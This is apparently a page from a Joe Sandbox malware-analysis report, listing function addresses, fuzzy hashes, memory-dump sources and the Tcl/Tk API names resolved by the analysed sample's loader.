Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 9cb1cd12b35fa318c4a8e0929622bdae7cba3dd6c324a68b4e8dcf83c52a71e5
Instruction ID: 6ed5923f773ad1e5c5ebf8d7ccdcc1d3123a054fe51b838e8c0b12d07d94a64d
Opcode Fuzzy Hash: 9cb1cd12b35fa318c4a8e0929622bdae7cba3dd6c324a68b4e8dcf83c52a71e5
Instruction Fuzzy Hash: C0B09220E07B02CAFB083B116C82A14A2B4BF58710FE444B9C10C81330DF3C25BA4B21

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA83CC0 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1c086197733176920e670542d9d571295f110a1a04111a447b2e9bf7cf9f205
Instruction ID: 3af0a7d1265c763153ca8844d57ed63aa150af2b1e1a15b1f45931035bd0253a
Opcode Fuzzy Hash: b1c086197733176920e670542d9d571295f110a1a04111a447b2e9bf7cf9f205
Instruction Fuzzy Hash: 40D1D632A086428AFB68AE258950A7DA7B0FF45B48F9445F5CE0D07695DF3DD843CB70

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA790C0 Relevance: .3, Instructions: 287COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5e7c7d6f5738ce9ae6dae89df256b28c6339b9d8c2370fd2cf9ecf49eca8280
Instruction ID: 8448f5b2aed10bab10719ce6f258dcd3b3dc3b46672864d2119920bcc60dbbd0
Opcode Fuzzy Hash: e5e7c7d6f5738ce9ae6dae89df256b28c6339b9d8c2370fd2cf9ecf49eca8280
Instruction Fuzzy Hash: 82C186721241E18BD2D9EB39E85947EB7A1FB88349FC4413AEB8747B85C63CE116DB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA83330 Relevance: .2, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c9ed06f36b3d533f088c72f27e683e59507fd20484e083b1e58df30cf10ceb8
Instruction ID: 32928196fc4fb7a65b8535dacaf90f9b1e9b30ed18f3b519345f6053745118cd
Opcode Fuzzy Hash: 7c9ed06f36b3d533f088c72f27e683e59507fd20484e083b1e58df30cf10ceb8
Instruction Fuzzy Hash: 1AB14A7290878589FB65AF29C85462DBBB0EF45F48FA441B9CA4E47395CF3AD442CB30

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA8F110 Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e5c34987f7a9ca6c6679c1ebbd58ec90466e7178802fc144f73f7d44e403847
Instruction ID: 410e648b0e54fb6f9056e32662bfc7ed2d4ab9d75c7fc89ae3395354fc92ad97
Opcode Fuzzy Hash: 0e5c34987f7a9ca6c6679c1ebbd58ec90466e7178802fc144f73f7d44e403847
Instruction Fuzzy Hash: FC81E572A0C7824AF774DB299840B6EEAA1FF85794F904276DB9D43B95DE3CD4018F10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA97350 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: a701ed251209d71644fd3cfab30fd42ccfd9d0bb1663ab03b4bd354a28a416a6
Instruction ID: 2a75f9b8d5dfe0390a70a8b2cac163a8e8c0fcf82fb7254a2bcb596db1f9d09c
Opcode Fuzzy Hash: a701ed251209d71644fd3cfab30fd42ccfd9d0bb1663ab03b4bd354a28a416a6
Instruction Fuzzy Hash: 6F61DD22F1815386F764A928CC50F79E6A1EF80760F944AB9D61D476D1EE6DE9028F30

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA82474 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa1e8384b8f9ed93a652e40ff1fad70abf09339abefc5cb7d3385a95e3869c9a
Instruction ID: cec3a024f3752ce46be4b5fff8a8da6f0c9dd7584eb47b831aacd89b1f8ec9d5
Opcode Fuzzy Hash: fa1e8384b8f9ed93a652e40ff1fad70abf09339abefc5cb7d3385a95e3869c9a
Instruction Fuzzy Hash: B451CF32A186518AF7249B28D850A38F3B0EF54F68FA44175CE5D07794CB3AEC47CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA82884 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c25247ae15e209603ec1042d904b34171e82564d0ea1a98edeaeffe93ffac02
Instruction ID: d430d075e7da9577aa3f749ac28790faead0d0b5e4734d676ffacd0c93cf9d2d
Opcode Fuzzy Hash: 3c25247ae15e209603ec1042d904b34171e82564d0ea1a98edeaeffe93ffac02
Instruction Fuzzy Hash: 4751D576A186518AF7249B29C840A38F7B0EF54F68F644171CEAD07794CB3AEC47CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA82064 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51394bb55acd0354c6b54540f03649d9a1ed653df3d59b65c3bbefa0f3d6b76a
Instruction ID: 3a6f395b7ea4f49303dee1dd224d880ab7f92226a7e1d8d13f5ead8ef23e2d73
Opcode Fuzzy Hash: 51394bb55acd0354c6b54540f03649d9a1ed653df3d59b65c3bbefa0f3d6b76a
Instruction Fuzzy Hash: 4D519036A186518AF7649B29D840A38F7B0EF94B68F748171CE6C07794DB3AEC47CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA82270 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4595b9fb9fef9db7488d00d8b5cf28c2737f3b7c2e6c847ec82cdef55389f28
Instruction ID: 758942b431223038c9779e1534d87571bfa40faefe33b80f26d6538a3bdcc5c5
Opcode Fuzzy Hash: d4595b9fb9fef9db7488d00d8b5cf28c2737f3b7c2e6c847ec82cdef55389f28
Instruction Fuzzy Hash: CA51EF36A186518AF7249B29C840A3CE7B0EF44F68FA44171CE5C17799DB3AEC47CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA82680 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8494ecf62f03c1d3943c1d589e4c29644468de266d09ee5189585ab02985f6c2
Instruction ID: 05f3adc2d61dace542fa44194bc1d8efd5d267948fd0c0661aa23f4889698eab
Opcode Fuzzy Hash: 8494ecf62f03c1d3943c1d589e4c29644468de266d09ee5189585ab02985f6c2
Instruction Fuzzy Hash: 3D51B276A186518AFB249B29C844A38F7B0EF54B58FA44171CE5C177A8CF3AEC47CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA81E60 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbef8b130d79a7ad9bd62ede7a83548c92a3f011a0e32d449ba268992e3839f7
Instruction ID: a402a395b7e8d16fc80d5f00d97544afa7b6959190d12fd4cfeed046636657ba
Opcode Fuzzy Hash: cbef8b130d79a7ad9bd62ede7a83548c92a3f011a0e32d449ba268992e3839f7
Instruction Fuzzy Hash: 5B51B136A196518AF7249B29C844A38B7B1EF44F58FA44171CE4D17794CF3AEC47CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA86510 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
Instruction ID: 77a002014ca8dbd9f36c0f67cb475504a2689004839b057aa593f8f726383a39
Opcode Fuzzy Hash: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
Instruction Fuzzy Hash: 3E41D452C0978A0CFF9D995C0D00FB4EAA1DF62BA1DD812F8CD99133CACD0D79978A20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA8AA10 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: ErrorLanguagesLastPreferredRestoreThread
String ID:
API String ID: 588628887-0
Opcode ID: a584b5ebd410868caf684851e7ae72ca0a48fe722538065b11fe9c603729eb0f
Instruction ID: 7de2994f1944f6779647a02cd246494d87c96157a21c9786dfa5b47b780d2eec
Opcode Fuzzy Hash: a584b5ebd410868caf684851e7ae72ca0a48fe722538065b11fe9c603729eb0f
Instruction Fuzzy Hash: EE41BF32714A5586FF48DF6AD924969A3B1FB48FD0B899032DE0D97B58EE3CD8428700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA88278 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2b002bbc49f8edc76fb8066870c38d7afee558bd2249c300808c44e7bc92a50
Instruction ID: 37ee36adaff7cdbcbf94591f7293dfebcd5504da9d56e8009adbaf9e07944c58
Opcode Fuzzy Hash: d2b002bbc49f8edc76fb8066870c38d7afee558bd2249c300808c44e7bc92a50
Instruction Fuzzy Hash: 7331C332B18B4246F764EB256C4152DA6A5EF88BE0F844278EA8D53BD6DF3CD1038B14

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA9A420 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4aa2e9ba6296ea42dd861dc7f4a70719f263379b300c18e22927abb196144ca8
Instruction ID: 737714f316d1ef8d39b5c49db505342a3ef41a76a0672a1cbdfae2006d107dcb
Opcode Fuzzy Hash: 4aa2e9ba6296ea42dd861dc7f4a70719f263379b300c18e22927abb196144ca8
Instruction Fuzzy Hash: 17F06871B183568AEB989F2DAC02A29BBE0FB58380F84857AD58D87B44D63C90518F14

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA7C88C Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba86f607178f2dc3ef803bbc4180c5da227c40ec501de79dfe2d660df2792ade
Instruction ID: f50a6e9737fe189990ad91361bef07b58762c078551329c234b4a3c1d4ddca32
Opcode Fuzzy Hash: ba86f607178f2dc3ef803bbc4180c5da227c40ec501de79dfe2d660df2792ade
Instruction Fuzzy Hash: E0A00121948C02D9F784AF18AC5083AA270EF50701BD000B2D01E820A09F2CAA42CA24

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA76EF0 Relevance: 164.8, APIs: 31, Strings: 63, Instructions: 263libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF72AA76F07
GetProcAddress.KERNEL32 ref: 00007FF72AA76F46
GetProcAddress.KERNEL32 ref: 00007FF72AA76F6B
GetProcAddress.KERNEL32 ref: 00007FF72AA76F90
GetProcAddress.KERNEL32 ref: 00007FF72AA76FB8
GetProcAddress.KERNEL32 ref: 00007FF72AA76FE0
GetProcAddress.KERNEL32 ref: 00007FF72AA77008
GetProcAddress.KERNEL32 ref: 00007FF72AA77030
GetProcAddress.KERNEL32 ref: 00007FF72AA77058

Strings

Tcl_SetVar2Ex, xrefs: 00007FF72AA7727E
Failed to get address for Tcl_MutexLock, xrefs: 00007FF72AA77092
Tk_Init, xrefs: 00007FF72AA77396
Failed to get address for Tcl_CreateObjCommand, xrefs: 00007FF72AA771FA
Failed to get address for Tcl_GetString, xrefs: 00007FF72AA77222
Tk_GetNumMainWindows, xrefs: 00007FF72AA773BE
Failed to get address for Tcl_GetObjResult, xrefs: 00007FF72AA772C2
GetProcAddress, xrefs: 00007FF72AA76F20
Failed to get address for Tcl_EvalFile, xrefs: 00007FF72AA772EA
Failed to get address for Tcl_Free, xrefs: 00007FF72AA7738A
Failed to get address for Tcl_ThreadQueueEvent, xrefs: 00007FF72AA7715A
Tcl_EvalObjv, xrefs: 00007FF72AA7731E
Failed to get address for Tcl_ConditionFinalize, xrefs: 00007FF72AA770E2
Failed to get address for Tcl_Finalize, xrefs: 00007FF72AA76FCA
Failed to get address for Tk_GetNumMainWindows, xrefs: 00007FF72AA773DA
Failed to get address for Tcl_Alloc, xrefs: 00007FF72AA77362
Failed to get address for Tcl_ConditionNotify, xrefs: 00007FF72AA7710A
Tcl_GetCurrentThread, xrefs: 00007FF72AA7704E
Tcl_FindExecutable, xrefs: 00007FF72AA76F61
Failed to get address for Tcl_FinalizeThread, xrefs: 00007FF72AA76FF2
Tcl_CreateObjCommand, xrefs: 00007FF72AA771DE
Tcl_Alloc, xrefs: 00007FF72AA77346
Tcl_Init, xrefs: 00007FF72AA76F00
Failed to get address for Tcl_FindExecutable, xrefs: 00007FF72AA76F7D
Tcl_ThreadQueueEvent, xrefs: 00007FF72AA7713E
Tcl_DeleteInterp, xrefs: 00007FF72AA76FFE
Tcl_ThreadAlert, xrefs: 00007FF72AA77166
Failed to get address for Tcl_SetVar2Ex, xrefs: 00007FF72AA7729A
Tcl_CreateThread, xrefs: 00007FF72AA77026
Failed to get address for Tcl_ThreadAlert, xrefs: 00007FF72AA77182
Tcl_MutexLock, xrefs: 00007FF72AA77076
Failed to get address for Tcl_CreateInterp, xrefs: 00007FF72AA76F58
Tcl_GetString, xrefs: 00007FF72AA77206
Failed to get address for Tcl_MutexUnlock, xrefs: 00007FF72AA770BA
Tcl_EvalEx, xrefs: 00007FF72AA772F6
Tcl_GetVar2, xrefs: 00007FF72AA7718E
Tcl_ConditionFinalize, xrefs: 00007FF72AA770C6
Failed to get address for Tcl_NewByteArrayObj, xrefs: 00007FF72AA77272
Tcl_GetObjResult, xrefs: 00007FF72AA772A6
Failed to get address for Tcl_EvalEx, xrefs: 00007FF72AA77312
Tcl_ConditionWait, xrefs: 00007FF72AA77116
Tcl_MutexUnlock, xrefs: 00007FF72AA7709E
Tcl_Free, xrefs: 00007FF72AA7736E
Tcl_EvalFile, xrefs: 00007FF72AA772CE
Failed to get address for Tcl_Init, xrefs: 00007FF72AA76F19
Tcl_SetVar2, xrefs: 00007FF72AA771B6
Failed to get address for Tk_Init, xrefs: 00007FF72AA773B2
Tcl_NewByteArrayObj, xrefs: 00007FF72AA77256
Tcl_Finalize, xrefs: 00007FF72AA76FAE
Failed to get address for Tcl_GetCurrentThread, xrefs: 00007FF72AA7706A
Tcl_DoOneEvent, xrefs: 00007FF72AA76F86
Failed to get address for Tcl_SetVar2, xrefs: 00007FF72AA771D2
Failed to get address for Tcl_ConditionWait, xrefs: 00007FF72AA77132
Failed to get address for Tcl_NewStringObj, xrefs: 00007FF72AA7724A
Failed to get address for Tcl_EvalObjv, xrefs: 00007FF72AA7733A
Tcl_CreateInterp, xrefs: 00007FF72AA76F3C
Failed to get address for Tcl_DoOneEvent, xrefs: 00007FF72AA76FA2
Tcl_NewStringObj, xrefs: 00007FF72AA7722E
Failed to get address for Tcl_GetVar2, xrefs: 00007FF72AA771AA
Failed to get address for Tcl_CreateThread, xrefs: 00007FF72AA77042
Failed to get address for Tcl_DeleteInterp, xrefs: 00007FF72AA7701A
Tcl_ConditionNotify, xrefs: 00007FF72AA770EE
Tcl_FinalizeThread, xrefs: 00007FF72AA76FD6

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: AddressProc
